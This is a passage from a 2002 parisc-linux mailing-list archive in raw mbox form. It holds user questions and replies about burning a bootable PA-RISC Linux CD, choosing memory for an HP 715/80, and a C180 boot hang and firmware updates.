X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:33 +0000 (UTC)
Cc: "'parisc-linux maillist'" <parisc-linux@parisc-linux.org>
To: "'Jeffo'" <jeffo@pop.hsbc.com.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 10 01:27:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9193A4832
	for <parisc-linux@parisc-linux.org>; Thu, 10 Oct 2002 01:27:52 -0600 (MDT)
Original-Received: by ns.hiscom.nl id <119058>; Thu, 10 Oct 2002 09:40:18 +0200
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16435

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C2702E.8229A8D0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

> -----Original Message-----
> From: Jeffo [mailto:jeffo@pop.hsbc.com.br]
> Hello all!
> I hope this is the right place for posting such a question:
>=20
> - I=B4ve tried MANY times  (5) burning an PA-RISC image to a=20
> bootable CD.
> Couldn=B4t make my system
> boot from the CD though...the image I=B4m talking about is this one:
> http://pateam.esiee.fr/cd-images/palinux-0.9.3.iso

Other replies indicate how to test the image.

>=20
> I have a 712/60 HP station, with an external SCSI CD-rom=20
> drive. The drive is
> at ID "scsi.3.0".
> I do the boot search after the POST routine, it finds my SCSI=20
> drive, its
> brand and everything else.

What brand is it? Run-time, there are no special requirements.

>=20
> When I try to boot from the CD the station simply does=20
> nothing. It tryes to boot and returns
> to the BOOT_ADMIN screen. ONCE I could get a message like "loading =
the
> stuff, etc....OPS, KERNEL something".
> And only ONCE...in one of the first CDs.

Boot time, the HP bootloader requires 2KByte block size. Most (if not =
all)
CDRom players use 512Byte blocksize by default. Try to figure out if =
your
CDRom can do a 2KByte blocksize.

>=20
> I did an extensive search on the Internet regarding this=20
> subject, and used all hints found for
> the burning software (yes, I=B4m burning on XP, unfortunately=20
> all linuxes I=B4ve found doens=B4t
> have CD writers)...used Nero 5.5, CDRWin 4.0B and Blindwrite.=20
> None of them seem to burn this image
> correctly. And I say that with the knowledge after burning many, many
> applications, games, etc
> onto CD-R. Protected or not. For AIX, for Windows, for Solaris.
> Weird...

As above, most likely, the image is not the problem, it's the blocksize =
the
drive provides to the system.

>=20
> The simptoms are:
>=20
> - If I load the CD on a windows machine, everything seems to be fine,
> DESPITE all filenames being in CAPS... (bad sign?)

iso9660 is a single-case (that's the all-caps) and versioned (that's =
the ;1)
filesystem.

> - On the 712/60 it won=B4t boot.
> - After booting into HP-UX, if I try to mount the CD it takes=20
> a looong time and then the OS finally mounts it, but all filenames =
are=20
> capitalised AND SOMETIMES, the ";1" suffix is appended to every =
filename.
I=B4ve seen
> something about that on Nero, but on tabs that you simply  cannot =
change.
> (something like "doesn=B4t append ;1 on...")
> - I contacted a friend and co-worker which is a "Linux" guy,=20
> but he wasn=B4t willing to help much..
> - Things that I=B4ve read on the net like "Search the iso or=20
> the CD for the #8000 sector and see if the MAGIC word is on there =
(CD001)=20
> and IT IS in all Cds I=B4ve searched.
>=20
> I am REALLY interested in putting this thing to run up on my HP
> station....but I=B4m having a hard time...

If you have no success on the CDRom player, try a netboot if you have =
an
other machine around. Check the website for more info. A search key can =
be
"bootp" since that's the network boot protocol.




Success
CBee

------_=_NextPart_001_01C2702E.8229A8D0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>RE: [parisc-linux] Burning CD Images difficulties: =
revisited</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Jeffo [<A =
HREF=3D"mailto:jeffo@pop.hsbc.com.br">mailto:jeffo@pop.hsbc.com.br</A>]<=
/FONT>
<BR><FONT SIZE=3D2>&gt; Hello all!</FONT>
<BR><FONT SIZE=3D2>&gt; I hope this is the right place for posting such =
a question:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; - I=B4ve tried MANY times&nbsp; (5) burning an =
PA-RISC image to a </FONT>
<BR><FONT SIZE=3D2>&gt; bootable CD.</FONT>
<BR><FONT SIZE=3D2>&gt; Couldn=B4t make my system</FONT>
<BR><FONT SIZE=3D2>&gt; boot from the CD though...the image I=B4m =
talking about is this one:</FONT>
<BR><FONT SIZE=3D2>&gt; <A =
HREF=3D"http://pateam.esiee.fr/cd-images/palinux-0.9.3.iso" =
TARGET=3D"_blank">http://pateam.esiee.fr/cd-images/palinux-0.9.3.iso</A>=
</FONT>
</P>

<P><FONT SIZE=3D2>Other replies indicate how to test the image.</FONT>
</P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; I have a 712/60 HP station, with an external =
SCSI CD-rom </FONT>
<BR><FONT SIZE=3D2>&gt; drive. The drive is</FONT>
<BR><FONT SIZE=3D2>&gt; at ID &quot;scsi.3.0&quot;.</FONT>
<BR><FONT SIZE=3D2>&gt; I do the boot search after the POST routine, it =
finds my SCSI </FONT>
<BR><FONT SIZE=3D2>&gt; drive, its</FONT>
<BR><FONT SIZE=3D2>&gt; brand and everything else.</FONT>
</P>

<P><FONT SIZE=3D2>What brand is it? Run-time, there are no special =
requirements.</FONT>
</P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; When I try to boot from the CD the station =
simply does </FONT>
<BR><FONT SIZE=3D2>&gt; nothing. It tryes to boot and returns</FONT>
<BR><FONT SIZE=3D2>&gt; to the BOOT_ADMIN screen. ONCE I could get a =
message like &quot;loading the</FONT>
<BR><FONT SIZE=3D2>&gt; stuff, etc....OPS, KERNEL =
something&quot;.</FONT>
<BR><FONT SIZE=3D2>&gt; And only ONCE...in one of the first CDs.</FONT>
</P>

<P><FONT SIZE=3D2>Boot time, the HP bootloader requires 2KByte block =
size. Most (if not all) CDRom players use 512Byte blocksize by default. =
Try to figure out if your CDRom can do a 2KByte blocksize.</FONT></P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; I did an extensive search on the Internet =
regarding this </FONT>
<BR><FONT SIZE=3D2>&gt; subject, and used all hints found for</FONT>
<BR><FONT SIZE=3D2>&gt; the burning software (yes, I=B4m burning on XP, =
unfortunately </FONT>
<BR><FONT SIZE=3D2>&gt; all linuxes I=B4ve found doens=B4t</FONT>
<BR><FONT SIZE=3D2>&gt; have CD writers)...used Nero 5.5, CDRWin 4.0B =
and Blindwrite. </FONT>
<BR><FONT SIZE=3D2>&gt; None of them seem to burn this image</FONT>
<BR><FONT SIZE=3D2>&gt; correctly. And I say that with the knowledge =
after burning many, many</FONT>
<BR><FONT SIZE=3D2>&gt; applications, games, etc</FONT>
<BR><FONT SIZE=3D2>&gt; onto CD-R. Protected or not. For AIX, for =
Windows, for Solaris.</FONT>
<BR><FONT SIZE=3D2>&gt; Weird...</FONT>
</P>

<P><FONT SIZE=3D2>As above, most likely, the image is not the problem, =
it's the blocksize the drive provides to the system.</FONT>
</P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; The simptoms are:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; - If I load the CD on a windows machine, =
everything seems to be fine,</FONT>
<BR><FONT SIZE=3D2>&gt; DESPITE all filenames being in CAPS... (bad =
sign?)</FONT>
</P>

<P><FONT SIZE=3D2>iso9660 is a single-case (that's the all-caps) and =
versioned (that's the ;1) filesystem.</FONT>
</P>

<P><FONT SIZE=3D2>&gt; - On the 712/60 it won=B4t boot.</FONT>
<BR><FONT SIZE=3D2>&gt; - After booting into HP-UX, if I try to mount =
the CD it takes </FONT>
<BR><FONT SIZE=3D2>&gt; a looong time and then the OS finally mounts =
it, but all filenames are </FONT>
<BR><FONT SIZE=3D2>&gt; capitalised AND SOMETIMES, the &quot;;1&quot; =
suffix is appended to every filename. I=B4ve seen</FONT>
<BR><FONT SIZE=3D2>&gt; something about that on Nero, but on tabs that =
you simply&nbsp; cannot change.</FONT>
<BR><FONT SIZE=3D2>&gt; (something like &quot;doesn=B4t append ;1 =
on...&quot;)</FONT>
<BR><FONT SIZE=3D2>&gt; - I contacted a friend and co-worker which is a =
&quot;Linux&quot; guy, </FONT>
<BR><FONT SIZE=3D2>&gt; but he wasn=B4t willing to help much..</FONT>
<BR><FONT SIZE=3D2>&gt; - Things that I=B4ve read on the net like =
&quot;Search the iso or </FONT>
<BR><FONT SIZE=3D2>&gt; the CD for the #8000 sector and see if the =
MAGIC word is on there (CD001) </FONT>
<BR><FONT SIZE=3D2>&gt; and IT IS in all Cds I=B4ve searched.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; I am REALLY interested in putting this thing to =
run up on my HP</FONT>
<BR><FONT SIZE=3D2>&gt; station....but I=B4m having a hard =
time...</FONT>
</P>

<P><FONT SIZE=3D2>If you have no success on the CDRom player, try a =
netboot if you have an other machine around. Check the website for more =
info. A search key can be &quot;bootp&quot; since that's the network =
boot protocol.</FONT></P>
<BR>
<BR>
<BR>

<P><FONT SIZE=3D2>Success</FONT>
<BR><FONT SIZE=3D2>CBee</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C2702E.8229A8D0--


From - Thu Nov 08 21:25:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeffo" <jeffo@pop.hsbc.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Burning CD Images difficulties: revisited
Date: Thu, 10 Oct 2002 10:28:01 -0300
Lines: 10
Approved: news@gmane.org
Message-ID: <001501c27060$db2fa7e0$db0b0aa7@pcaktel083>
References: <3DA3C54C000001C0@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621813 15255 80.91.229.3 (22 Nov 2014 02:03:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:33 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 10 07:28:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hsbcsv17.hsbc.com.br (hsbcsv17.hsbc.com.br [200.208.29.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23BDF4831
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Oct 2002 07:28:46 -0600 (MDT)
Original-Received: from pop.hsbc.com.br (unverified) by hsbcsv17.hsbc.com.br
 (Content Technologies SMTPRS 4.2.10) with ESMTP id <T5dda421306ac1c505343c@hsbcsv17.hsbc.com.br> for <parisc-linux@lists.parisc-linux.org>;
 Thu, 10 Oct 2002 10:28:41 -0300
Original-Received: from pcaktel083 ([167.10.11.219])
	by pop.hsbc.com.br (8.11.6/8.11.6) with SMTP id g9ADSQH13832
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Oct 2002 10:28:27 -0300
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16436

IT WORKED!


The difference?  Burn the .ISO on Easy CD Creator.

Thats all.

Thanks.



From - Thu Nov 08 21:25:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Burning CD Images difficulties: revisited
Date: Thu, 10 Oct 2002 15:39:05 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <3DA3C54C000003F0@ocpmta5.be.tiscali.com>
References: <001501c27060$db2fa7e0$db0b0aa7@pcaktel083>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621813 15256 80.91.229.3 (22 Nov 2014 02:03:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:33 +0000 (UTC)
To: "Jeffo" <jeffo@pop.hsbc.com.br>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 10 07:46:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (mail.tiscali.be [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 010DF4831
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Oct 2002 07:46:28 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 10 Oct 2002 15:39:05 +0200
In-Reply-To: <001501c27060$db2fa7e0$db0b0aa7@pcaktel083>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16437

>-- Original Message --
>From: "Jeffo" <jeffo@pop.hsbc.com.br>
>To: <parisc-linux@lists.parisc-linux.org>
>Subject: Re: [parisc-linux] Burning CD Images difficulties: revisited
>Date: Thu, 10 Oct 2002 10:28:01 -0300
>
>
>IT WORKED!
>
>
>The difference?  Burn the .ISO on Easy CD Creator.
>
>That?s all.
>
>Thanks.
>
great and enjoy,
    Joel



From - Thu Nov 08 21:25:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Which Memory to use on a 715/80?
Date: Thu, 10 Oct 2002 07:15:43 -0700 (PDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <20021010141543.95375.qmail@web12507.mail.yahoo.com>
References: <20021009195720.GA2279@familie-weerts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621814 15514 80.91.229.3 (22 Nov 2014 02:03:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 10 08:15:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12507.mail.yahoo.com (web12507.mail.yahoo.com [216.136.173.199])
	by dsl2.external.hp.com (Postfix) with SMTP id B57444829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Oct 2002 08:15:50 -0600 (MDT)
Original-Received: from [12.24.252.219] by web12507.mail.yahoo.com via HTTP; Thu, 10 Oct 2002 07:15:43 PDT
In-Reply-To: <20021009195720.GA2279@familie-weerts.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16438

Well, don't think any other manufacturer made memory for the 715
series.  I have looked at Dataram and others, but they only seem to
have memory for the D,K,N,L, and A class servers.  What size are your
simms in your box?  I have some 8MB ones laying around here that I'm
not using.  It's the same memory that is used in the 712's.

derek


--- Christian Weerts <cw@familie-weerts.de> wrote:
> * Thibaut VARENE <varenet@esiee.fr> [021009 21:36]:
> > Christian Weerts wrote:
> > >My 715/80 has a memory problem. Perhaps i need new memory.
> > >Which is the right one to buy?
> > you may probably find the answer here:
> >
>
http://partsurfer.hp.com/cgi-bin/spi/main?sel_flg=modinfo&model=9000/715/80
> > 
> Thanks! That's what I'm looking for the whole last week.
> 
> Can I use other SIMMs with ECC from any other contributor,
> or is the use of these SIMMs recommended?
> 
> Greets,
>     Christian
> 
> -- 
> May the Source be with you...
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


__________________________________________________
Do you Yahoo!?
Faith Hill - Exclusive Performances, Videos & More
http://faith.yahoo.com


From - Thu Nov 08 21:25:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot (micro) hang
Date: Thu, 10 Oct 2002 07:34:43 -0700 (PDT)
Lines: 84
Approved: news@gmane.org
Message-ID: <20021010143443.83773.qmail@web12502.mail.yahoo.com>
References: <3DA51F44.1898AA4@hpfrcu81.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621814 15517 80.91.229.3 (22 Nov 2014 02:03:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: phi <phi@hpfrcu81.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 10 08:34:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12502.mail.yahoo.com (web12502.mail.yahoo.com [216.136.173.194])
	by dsl2.external.hp.com (Postfix) with SMTP id D7A724829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Oct 2002 08:34:46 -0600 (MDT)
Original-Received: from [12.24.252.219] by web12502.mail.yahoo.com via HTTP; Thu, 10 Oct 2002 07:34:43 PDT
In-Reply-To: <3DA51F44.1898AA4@hpfrcu81.france.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16439

Phi,

Well if you knew an HP CE that could help you with the firmware update
it wouldn't have been that big a deal.  From your E-mail address you
look like you work for HP.  Our tools for updating firmware are
pre-burned on what we used to call the ECU disk.  That's how I updated
my firmware on my C180 to 6.3 (6.3 is for the C200/240 but runs fine on
my C180).  I perform firmware updates quite often on HP machines along
the whole product line and most of the time it is an effortless thing. 
Of course the tools use hardware folks use to update firmware are not
available to the general public.  The N and L class servers can be
updated now with just an HP-UX patch, but that doesn't help the Linux
folks.  My C180 doesn't hang at boot using the
palinux-2.4.18-pa55-20020715-netinst.iso image.  I completed the
install over the internet.  Not exactly sure why you are having
problems with hangs where I do not.  Are you using HP disks or third
party?  Are you running the boot-up in fastboot mode or normal test all
the memory mode?  If you are running fastboot I would say turn it off
and let it run self-test on your memory.  I found 2 bad simms when I
turned off fastboot on my machine.  I now run with fastboot on, but
it's a great tool to troubleshoot memory problems.  If you really want
to know what the difference in firmware revs are, I could get you that
info from my firmware CD's or from an HP service note.  That info I can
give you.  If you have any questions about my C180 set-up don't
hesitate to ask.  I'm currently helping a guy from HP Greely set-up his
C180.

Derek Engelhaupt
HP CE

--- phi <phi@hpfrcu81.france.hp.com> wrote:
> Grant Grundler wrote:
> > 
> > phi wrote:
> > > My Firmware is
> > >
> > > Firmware Version  5.2
> > 
> > sorry - I forgot to mention the FAQ explains how to determine
> > what the latest available rev is.
> > 
> 
> The FAQ also say it is dangerous to update a firware and you do it
> only if
> absolutly necessary.
> 
> In my situation I had the proof that booting the prev kernel was ok,
> so the FW
> was good enough for this.
> 
> I own only 1 c180, and will not have another one, also based on your
> recomandation I prefered discover what made the C180 hanging at boot,
> at least
> I learned a bit more about the iotree discovery, while upgrading the
> firmware
> to 6.1 would have learned me nothing and I could have lost my
> machine.
> 
> So all in all I am happy with my temp solution, I am glad that Ryan
> will
> revisit his code and fix this regression for the benefit of all.
> 
> So apparently FW5.2 is good enough for what I am doing, the patch
> catalog only
> give the latest version number and doesn't tell what diff there is
> between 5.2
> and 6.1, without good explanation, there is no reason to upgrade.
> 
> The link 'HPUX-11 Patch Management' is obso and don't work (for me).
> 
> Thanx for your help and pointers.
> Cheers,
> Phi
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


__________________________________________________
Do you Yahoo!?
Faith Hill - Exclusive Performances, Videos & More
http://faith.yahoo.com


From - Thu Nov 08 21:25:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Which Memory to use on a 715/80?
Date: Thu, 10 Oct 2002 09:27:37 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20021010152737.210EC4829@dsl2.external.hp.com>
References: <20021010141543.95375.qmail@web12507.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621814 15518 80.91.229.3 (22 Nov 2014 02:03:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 10 09:27:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 210EC4829; Thu, 10 Oct 2002 09:27:37 -0600 (MDT)
In-Reply-To: Message from Derek Engelhaupt <derekengelhaupt@rocketmail.com> 
   of "Thu, 10 Oct 2002 07:15:43 PDT." <20021010141543.95375.qmail@web12507.mail.yahoo.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16440

Derek Engelhaupt wrote:
> Well, don't think any other manufacturer made memory for the 715
> series.  I have looked at Dataram and others, but they only seem to
> have memory for the D,K,N,L, and A class servers.

I thought Kingston *did* (maybe no more).
Might still check there.

grant


From - Thu Nov 08 21:25:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Which Memory to use on a 715/80?
Date: Thu, 10 Oct 2002 17:34:47 +0200
Lines: 103
Approved: news@gmane.org
Message-ID: <02Oct10.174726cest.119043@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C27072.90AA55A0"
X-Trace: ger.gmane.org 1416621815 15522 80.91.229.3 (22 Nov 2014 02:03:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:35 +0000 (UTC)
To: "'Grant Grundler'" <grundler@dsl2.external.hp.com>,
	"'parisc-linux maillist'" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 10 09:35:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9C8074837
	for <parisc-linux@parisc-linux.org>; Thu, 10 Oct 2002 09:34:56 -0600 (MDT)
Original-Received: by ns.hiscom.nl id <119043>; Thu, 10 Oct 2002 17:47:26 +0200
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
